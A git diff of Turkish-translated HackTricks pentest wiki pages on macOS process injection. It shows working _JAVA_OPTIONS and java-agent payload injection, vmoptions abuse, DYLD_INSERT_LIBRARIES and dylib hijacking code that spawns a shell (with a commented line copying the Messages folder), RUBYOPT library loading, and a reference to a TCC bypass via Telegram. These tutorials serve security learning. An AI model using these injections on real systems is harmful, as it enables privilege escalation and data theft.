ve pratik yapın:[**HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve pratik yapın: [**HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**. -* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın. +* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.** +* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md index e4e38237e..0a776d85b 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md @@ -1,22 +1,23 @@ # macOS Java Uygulamaları Enjeksiyonu +{% hint style="success" %} +AWS Hacking'i öğrenin ve pratik yapın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve pratik yapın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +HackTricks'i Destekleyin -HackTricks'i desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**. -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**. +* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.** +* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
+{% endhint %} -## Numaralandırma +## Sayım -Sistemde yüklü olan Java uygulamalarını bulun. **Info.plist** içindeki Java uygulamalarının bazı java parametrelerini içerdiği ve bu parametrelerin **`java.`** dizesini içerdiği fark edildi, bu yüzden buna göre arama yapabilirsiniz: +Sisteminizde yüklü Java uygulamalarını bulun. **Info.plist** içindeki Java uygulamalarının **`java.`** dizesini içeren bazı java parametreleri barındırdığı gözlemlenmiştir, bu nedenle bunun için arama yapabilirsiniz: ```bash # Search only in /Applications folder sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null @@ -26,13 +27,13 @@ sudo find / -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null ``` ## \_JAVA\_OPTIONS -Çevre değişkeni **`_JAVA_OPTIONS`**, bir Java derlenmiş uygulamanın yürütülmesinde keyfi Java parametrelerinin enjekte edilmesi için kullanılabilir: +Env değişkeni **`_JAVA_OPTIONS`** bir java derlenmiş uygulamasının yürütülmesinde rastgele java parametreleri enjekte etmek için kullanılabilir: ```bash # Write your payload in a script called /tmp/payload.sh export _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"' "/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub" ``` -Yeni bir işlem olarak çalıştırmak için ve mevcut terminalin alt işlemi olmadan kullanabilirsiniz: +Yeni bir işlem olarak ve mevcut terminalin bir çocuğu olarak değil, bunu çalıştırmak için şunu kullanabilirsiniz: ```objectivec #import // clang -fobjc-arc -framework Foundation invoker.m -o invoker @@ -85,7 +86,7 @@ NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary return 0; } ``` -Ancak, bu yürütülen uygulamada bir hata tetikleyecektir, daha gizli bir yol ise bir Java ajanı oluşturmak ve şunu kullanmaktır: +Ancak, bu, çalıştırılan uygulamada bir hata tetikleyecektir, daha gizli bir yol ise bir java ajanı oluşturmak ve şunu kullanmaktır: ```bash export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar' "/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub" @@ -95,10 +96,10 @@ export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar' open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional" ``` {% hint style="danger" %} -Uygulamadan farklı bir Java sürümüyle ajan oluşturmak, ajanın ve uygulamanın çalışmasını çökerte bilir. +Ajansı, uygulamadan **farklı bir Java sürümü** ile oluşturmak, hem ajansın hem de uygulamanın çalışmasını çökertilebilir. {% endhint %} -Ajan aşağıdaki gibi olabilir: +Ajansın nerede olabileceği: {% code title="Agent.java" %} ```java @@ -124,14 +125,14 @@ Ajanı derlemek için şunu çalıştırın: javac Agent.java # Create Agent.class jar cvfm Agent.jar manifest.txt Agent.class # Create Agent.jar ``` -`manifest.txt` dosyasıyla: +`manifest.txt` ile: ``` Premain-Class: Agent Agent-Class: Agent Can-Redefine-Classes: true Can-Retransform-Classes: true ``` -Ve ardından çevre değişkenini ihraç edin ve java uygulamasını şu şekilde çalıştırın: +Ve ardından env değişkenini dışa aktarın ve java uygulamasını şu şekilde çalıştırın: ```bash export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar' "/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub" @@ -142,12 +143,12 @@ open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Profession ``` ## vmoptions dosyası -Bu dosya, Java çalıştırıldığında **Java parametrelerinin** belirtilebileceği bir dosyadır. Önceki hilelerden bazılarını kullanarak java parametrelerini değiştirebilir ve **işlemi keyfi komutlarla çalıştırabilirsiniz**.\ -Ayrıca, bu dosya `include` diziniyle diğer dosyaları da **dahil edebilir**, bu nedenle dahil edilen bir dosyayı da değiştirebilirsiniz. +Bu dosya, Java çalıştırıldığında **Java parametrelerinin** belirtilmesini destekler. Java parametrelerini değiştirmek ve **sürecin rastgele komutlar çalıştırmasını sağlamak** için önceki hilelerden bazılarını kullanabilirsiniz.\ +Ayrıca, bu dosya `include` dizini ile **başka dosyaları da içerebilir**, böylece dahil edilen bir dosyayı da değiştirebilirsiniz. -Dahası, bazı Java uygulamaları birden fazla `vmoptions` dosyası **yükleyebilir**. +Dahası, bazı Java uygulamaları **birden fazla `vmoptions`** dosyasını **yükleyecektir**. -Android Studio gibi bazı uygulamalar, bu dosyaların **nerede arandığını** çıktılarında belirtir, örneğin: +Android Studio gibi bazı uygulamalar, bu dosyaları nerede aradıklarını **çıktılarında belirtir**, şöyle: ```bash /Applications/Android\ Studio.app/Contents/MacOS/studio 2>&1 | grep vmoptions @@ -158,7 +159,7 @@ Android Studio gibi bazı uygulamalar, bu dosyaların **nerede arandığını** 2023-12-13 19:53:23.922 studio[74913:581359] parseVMOptions: /Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions 2023-12-13 19:53:23.923 studio[74913:581359] parseVMOptions: platform=20 user=1 file=/Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions ``` -Eğer yapmazlarsa, bunu kolayca kontrol edebilirsiniz: +Eğer yapmıyorsanız, bunu kolayca kontrol edebilirsiniz: ```bash # Monitor sudo eslogger lookup | grep vmoption # Give FDA to the Terminal @@ -166,18 +167,4 @@ sudo eslogger lookup | grep vmoption # Give FDA to the Terminal # Launch the Java app /Applications/Android\ Studio.app/Contents/MacOS/studio ``` -İlginç olan şudur ki, bu örnekte Android Studio, herhangi bir **`admin` grubundaki kullanıcının yazma erişimine sahip olduğu** **`/Applications/Android Studio.app.vmoptions`** dosyasını yüklemeye çalışıyor. - -
- -AWS hackleme konusunda sıfırdan kahraman olmak için htARTE (HackTricks AWS Red Team Expert)'ı öğrenin! - -HackTricks'i desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**. - -
+Not edin ki bu örnekte Android Studio'nun **`/Applications/Android Studio.app.vmoptions`** dosyasını yüklemeye çalışması oldukça ilginçtir; bu, **`admin` grubundaki** herhangi bir kullanıcının yazma erişimine sahip olduğu bir yerdir. diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md index 8eb581f22..eff5900a4 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md @@ -1,22 +1,23 @@ # macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES +{% hint style="success" %} +AWS Hacking öğrenin ve pratik yapın:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking öğrenin ve pratik yapın: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hacklemeyi sıfırdan ileri seviyeye öğrenin htARTE (HackTricks AWS Red Team Expert) ile! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**. -* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.** +* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
+{% endhint %} ## DYLD\_INSERT\_LIBRARIES Temel örnek -**Kabuk çalıştırmak için enjekte edilecek kütüphane:** +**Enjekte edilecek kütüphane** bir shell çalıştırmak için: ```c // gcc -dynamiclib -o inject.dylib inject.c @@ -34,7 +35,7 @@ execv("/bin/bash", 0); //system("cp -r ~/Library/Messages/ /tmp/Messages/"); } ``` -Saldırılacak ikili dosya: +Saldırı yapılacak ikili: ```c // gcc hello.c -o hello #include @@ -51,7 +52,7 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello ``` ## Dyld Hijacking Örneği -Hedeflenen zayıf ikili dosya `/Applications/VulnDyld.app/Contents/Resources/lib/binary`'dir. +Hedeflenen savunmasız ikili dosya `/Applications/VulnDyld.app/Contents/Resources/lib/binary`. {% tabs %} {% tab title="entitlements" %} @@ -61,7 +62,7 @@ Hedeflenen zayıf ikili dosya `/Applications/VulnDyld.app/Contents/Resources/lib {% endtab %} {% tab title="LC_RPATH" %} -{% code overflow="wrap %} +{% code overflow="wrap" %} ```bash # Check where are the @rpath locations otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2 @@ -91,12 +92,12 @@ compatibility version 1.0.0 {% endtab %} {% endtabs %} -Önceki bilgilerle, yüklenen kütüphanelerin imzasını kontrol etmediğini ve şu kütüphaneleri yüklemeye çalıştığını biliyoruz: +Önceki bilgilerle, **yüklenen kütüphanelerin imzasını kontrol etmediğini** ve **şu kütüphaneyi yüklemeye çalıştığını** biliyoruz: * `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib` * `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib` -Ancak, ilk olan mevcut değil: +Ancak, ilki mevcut değil: ```bash pwd /Applications/VulnDyld.app @@ -104,7 +105,7 @@ pwd find ./ -name lib.dylib ./Contents/Resources/lib2/lib.dylib ``` -Öyleyse, bunu ele geçirmek mümkün! Meşru kütüphaneyi yeniden ihraç ederek aynı işlevleri sağlayan **bazı keyfi kodları yürüten bir kütüphane oluşturun**. Ve beklenen sürümlerle derlediğinizden emin olun: +Yani, onu ele geçirmek mümkün! **Herhangi bir kodu çalıştıran ve meşru kütüphanenin aynı işlevselliklerini yeniden dışa aktaran** bir kütüphane oluşturun. Ve beklenen sürümlerle derlemeyi unutmayın: {% code title="lib.m" %} ```objectivec @@ -117,7 +118,7 @@ NSLog(@"[+] dylib hijacked in %s", argv[0]); ``` {% endcode %} -Derleyin: +Bunu derleyin: {% code overflow="wrap" %} ```bash @@ -126,7 +127,7 @@ gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Found ``` {% endcode %} -Kütüphanede oluşturulan yeniden ihracat yolu, yükleyiciye göre göreli olduğundan, onu dışa aktarılacak kütüphanenin mutlak yoluna değiştirelim: +Kütüphanede oluşturulan yeniden ihracat yolu yükleyiciye göredir, bunu dışa aktarmak için kütüphaneye mutlak bir yol olarak değiştirelim: {% code overflow="wrap" %} ```bash @@ -147,7 +148,7 @@ name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Con ``` {% endcode %} -Son olarak, sadece bunu **ele geçirilen konuma** kopyalayın: +Son olarak, bunu **ele geçirilmiş konuma** kopyalayın: {% code overflow="wrap" %} ```bash @@ -155,33 +156,34 @@ cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib" ``` {% endcode %} -Ve **binary'yi çalıştırın** ve **kütüphanenin yüklendiğini** kontrol edin: +Ve **binary'i çalıştırın** ve **kütüphanenin yüklendiğini kontrol edin**:
"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
-2023-05-15 15:20:36.677 binary[78809:21797902] [+] /Applications/VulnDyld.app/Contents/Resources/lib/binary içinde dylib ele geçirildi
+2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
 Kullanım: [...]
 
{% hint style="info" %} -Bu zafiyeti istismar etmek ve Telegram'ın kamera izinlerini istismar etmek için nasıl kullanılacağı hakkında güzel bir yazı [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) adresinde bulunabilir. +Bu açığı kullanarak telegram'ın kamera izinlerini nasıl kötüye kullanabileceğinize dair güzel bir yazı [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) adresinde bulunabilir. {% endhint %} ## Daha Büyük Ölçek -Eğer beklenmeyen binary'lere kütüphaneler enjekte etmeyi denemeyi planlıyorsanız, kütüphanenin bir işlem içinde yüklendiğini bulmak için olay mesajlarını kontrol edebilirsiniz (bu durumda printf'i ve `/bin/bash` yürütmesini kaldırın). +Beklenmedik binary'lere kütüphaneler enjekte etmeyi planlıyorsanız, bir süreç içinde kütüphanenin ne zaman yüklendiğini bulmak için olay mesajlarını kontrol edebilirsiniz (bu durumda printf ve `/bin/bash` yürütmesini kaldırın). ```bash sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"' ``` +{% hint style="success" %} +AWS Hacking'i öğrenin ve pratik yapın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve pratik yapın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**. -* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.** +* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md index dc88a39da..100dbcb99 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md @@ -1,24 +1,25 @@ # macOS Ruby Uygulamaları Enjeksiyonu +{% hint style="success" %} +AWS Hacking'i öğrenin ve pratik yapın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve pratik yapın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Kırmızı Takım Uzmanı) öğrenin! +HackTricks'i Destekleyin -HackTricks'i desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**. -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**. +* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.** +* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
+{% endhint %} ## RUBYOPT -Bu çevre değişkeni kullanılarak **ruby** her çalıştırıldığında **yeni parametreler eklemek** mümkündür. **`-e`** parametresi ruby kodunu belirtmek için kullanılamasa da, **`-I`** ve **`-r`** parametreleri kullanılarak yüklenme yoluna yeni bir klasör eklemek ve ardından **yüklenmesi gereken bir kütüphane belirtmek** mümkündür. +Bu ortam değişkenini kullanarak, **ruby** her çalıştırıldığında **yeni parametreler eklemek** mümkündür. **`-e`** parametresi ruby kodu belirtmek için kullanılamasa da, **`-I`** ve **`-r`** parametrelerini kullanarak yükleme yolu için yeni bir klasör eklemek ve ardından **yüklemek için bir kütüphane belirtmek** mümkündür. -**`/tmp`** dizininde **`inject.rb`** adında bir kütüphane oluşturun: +**`/tmp`** dizininde **`inject.rb`** kütüphanesini oluşturun: {% code title="inject.rb" %} ```ruby @@ -26,7 +27,7 @@ puts `whoami` ``` {% endcode %} -Herhangi bir yerde aşağıdaki gibi bir ruby betiği oluşturun: +Herhangi bir yere aşağıdaki gibi bir ruby script oluşturun: {% code title="hello.rb" %} ```ruby @@ -34,24 +35,25 @@ puts 'Hello, World!' ``` {% endcode %} -Ardından, keyfi bir ruby betiği oluşturun ve aşağıdaki komutla yükleyin: +Arbitrary bir ruby betiğinin bunu yüklemesini sağlayın: ```bash RUBYOPT="-I/tmp -rinject" ruby hello.rb ``` -Eğlenceli bir gerçek, parametre **`--disable-rubyopt`** ile bile çalışır: +Eğlenceli bir gerçek, **`--disable-rubyopt`** parametresi ile bile çalışıyor: ```bash RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt ``` +{% hint style="success" %} +AWS Hacking'i öğrenin ve pratik yapın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve pratik yapın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimizden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**. -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**. +* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.** +* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md index d7becd022..e58580b02 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md @@ -1,24 +1,30 @@ -# macOS xattr-acls extra stuff +# macOS xattr-acls ekstra bilgiler + +{% hint style="success" %} +AWS Hacking öğrenin ve pratik yapın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking öğrenin ve pratik yapın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-AWS hackleme konusunda sıfırdan kahramana dönüşün htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile öğrenin! +HackTricks'i Destekleyin -HackTricks'i desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin**. -* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**. +* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.** +* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
